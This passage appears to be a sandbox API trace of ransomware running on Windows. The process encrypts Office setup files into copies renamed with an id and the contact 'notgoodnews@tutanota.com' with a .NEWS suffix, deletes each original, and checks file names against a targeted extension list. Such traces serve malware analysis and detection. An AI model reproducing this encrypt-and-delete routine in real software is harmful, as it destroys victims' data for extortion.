lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0054.421] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.421] WriteFile (in: hFile=0x170, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0054.421] SetEndOfFile (hFile=0x170) returned 1 [0054.421] CloseHandle (hObject=0x170) returned 1 [0054.423] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.423] SetEndOfFile (hFile=0x1ac) returned 1 [0054.425] CloseHandle (hObject=0x1ac) returned 1 [0054.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0054.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.426] lstrlenW (lpString=".doc") returned 4 [0054.426] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0054.426] lstrlenW (lpString=".docx") returned 5 [0054.426] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0054.426] lstrlenW (lpString=".pdf") returned 4 [0054.426] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0054.426] lstrlenW (lpString=".xls") returned 4 [0054.426] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0054.426] lstrlenW (lpString=".xlsx") returned 5 [0054.426] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0054.426] lstrlenW (lpString=".ppt") returned 4 [0054.426] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.427] lstrlenW (lpString=".zip") returned 4 [0054.427] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0054.427] lstrlenW (lpString=".rar") returned 4 [0054.427] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0054.427] lstrlenW (lpString=".bz2") returned 4 [0054.427] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0054.427] lstrlenW (lpString=".7z") returned 3 [0054.427] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.427] lstrlenW (lpString=".dbf") returned 4 [0054.427] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.427] lstrlenW (lpString=".1cd") returned 4 [0054.427] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0054.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.427] lstrlenW (lpString=".jpg") returned 4 [0054.427] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.428] lstrlenW (lpString=".doc") returned 4 [0054.428] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0054.428] lstrlenW (lpString=".docx") returned 5 [0054.428] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0054.428] lstrlenW (lpString=".pdf") returned 4 [0054.428] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString=".xls") returned 4 [0054.428] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString=".xlsx") returned 5 [0054.428] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0054.428] lstrlenW (lpString=".ppt") returned 4 [0054.428] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.428] lstrlenW (lpString=".zip") returned 4 [0054.428] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString=".rar") returned 4 [0054.428] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0054.428] lstrlenW (lpString=".bz2") returned 4 [0054.428] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0054.428] lstrlenW (lpString=".7z") returned 3 [0054.428] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.429] lstrlenW (lpString=".dbf") returned 4 [0054.429] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.429] lstrlenW (lpString=".1cd") returned 4 [0054.429] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0054.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0054.429] lstrlenW (lpString=".jpg") returned 4 [0054.429] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0054.429] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0054.429] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0054.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.444] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=819) returned 1 [0054.444] CloseHandle (hObject=0x1ac) returned 1 [0054.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0054.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.445] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.445] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.445] GetLastError () returned 0x0 [0054.445] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x333, lpOverlapped=0x0) returned 1 [0054.502] WriteFile (in: hFile=0x170, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x340, lpOverlapped=0x0) returned 1 [0054.503] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.504] WriteFile (in: hFile=0x170, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0054.504] SetEndOfFile (hFile=0x170) returned 1 [0054.504] CloseHandle (hObject=0x170) returned 1 [0054.506] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.506] SetEndOfFile (hFile=0x1ac) returned 1 [0054.508] CloseHandle (hObject=0x1ac) returned 1 [0054.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0054.508] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.509] lstrlenW (lpString=".doc") returned 4 [0054.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString=".docx") returned 5 [0054.509] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0054.509] lstrlenW (lpString=".pdf") returned 4 [0054.509] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString=".xls") returned 4 [0054.509] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString=".xlsx") returned 5 [0054.509] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0054.509] lstrlenW (lpString=".ppt") returned 4 [0054.509] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.509] lstrlenW (lpString=".zip") returned 4 [0054.509] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.509] lstrlenW (lpString=".rar") returned 4 [0054.509] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString=".bz2") returned 4 [0054.509] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.509] lstrlenW (lpString=".7z") returned 3 [0054.509] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.509] lstrlenW (lpString=".dbf") returned 4 [0054.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.510] lstrlenW (lpString=".1cd") returned 4 [0054.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.510] lstrlenW (lpString=".jpg") returned 4 [0054.510] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.510] lstrlenW (lpString=".doc") returned 4 [0054.510] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString=".docx") returned 5 [0054.510] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0054.510] lstrlenW (lpString=".pdf") returned 4 [0054.510] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString=".xls") returned 4 [0054.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.510] lstrlenW (lpString=".xlsx") returned 5 [0054.510] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0054.510] lstrlenW (lpString=".ppt") returned 4 [0054.511] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.511] lstrlenW (lpString=".zip") returned 4 [0054.511] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.511] lstrlenW (lpString=".rar") returned 4 [0054.511] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.511] lstrlenW (lpString=".bz2") returned 4 [0054.511] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.511] lstrlenW (lpString=".7z") returned 3 [0054.511] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.511] lstrlenW (lpString=".dbf") returned 4 [0054.511] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.511] lstrlenW (lpString=".1cd") returned 4 [0054.511] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0054.511] lstrlenW (lpString=".jpg") returned 4 [0054.511] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.512] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0054.512] lstrlenW (lpString="SETUP.XML") returned 9 [0054.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.513] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=2296) returned 1 [0054.513] CloseHandle (hObject=0x1ac) returned 1 [0054.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0054.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.513] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.513] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0055.177] GetLastError () returned 0x0 [0055.177] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0055.475] WriteFile (in: hFile=0x170, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x900, lpOverlapped=0x0) returned 1 [0055.477] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.477] WriteFile (in: hFile=0x170, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.477] SetEndOfFile (hFile=0x170) returned 1 [0055.477] CloseHandle (hObject=0x170) returned 1 [0055.479] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.479] SetEndOfFile (hFile=0x1ac) returned 1 [0055.480] CloseHandle (hObject=0x1ac) returned 1 [0055.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0055.481] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0055.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.481] lstrlenW (lpString=".doc") returned 4 [0055.481] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.481] lstrlenW (lpString=".docx") returned 5 [0055.481] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0055.481] lstrlenW (lpString=".pdf") returned 4 [0055.481] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.481] lstrlenW (lpString=".xls") returned 4 [0055.481] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString=".xlsx") returned 5 [0055.482] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0055.482] lstrlenW (lpString=".ppt") returned 4 [0055.482] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.482] lstrlenW (lpString=".zip") returned 4 [0055.482] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.482] lstrlenW (lpString=".rar") returned 4 [0055.482] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString=".bz2") returned 4 [0055.482] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString=".7z") returned 3 [0055.482] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.482] lstrlenW (lpString=".dbf") returned 4 [0055.482] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.482] lstrlenW (lpString=".1cd") returned 4 [0055.482] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.482] lstrlenW (lpString=".jpg") returned 4 [0055.482] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.483] lstrlenW (lpString=".doc") returned 4 [0055.483] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString=".docx") returned 5 [0055.483] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0055.483] lstrlenW (lpString=".pdf") returned 4 [0055.483] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString=".xls") returned 4 [0055.483] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString=".xlsx") returned 5 [0055.483] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0055.483] lstrlenW (lpString=".ppt") returned 4 [0055.483] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.483] lstrlenW (lpString=".zip") returned 4 [0055.483] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.483] lstrlenW (lpString=".rar") returned 4 [0055.483] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString=".bz2") returned 4 [0055.483] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.483] lstrlenW (lpString=".7z") returned 3 [0055.483] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.484] lstrlenW (lpString=".dbf") returned 4 [0055.484] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.484] lstrlenW (lpString=".1cd") returned 4 [0055.484] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0055.484] lstrlenW (lpString=".jpg") returned 4 [0055.484] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.484] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0055.484] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0055.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.485] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1231) returned 1 [0055.485] CloseHandle (hObject=0x1ac) returned 1 [0055.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0055.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0055.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.485] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.485] SetFilePointerEx (in: hFile=0x1ac, 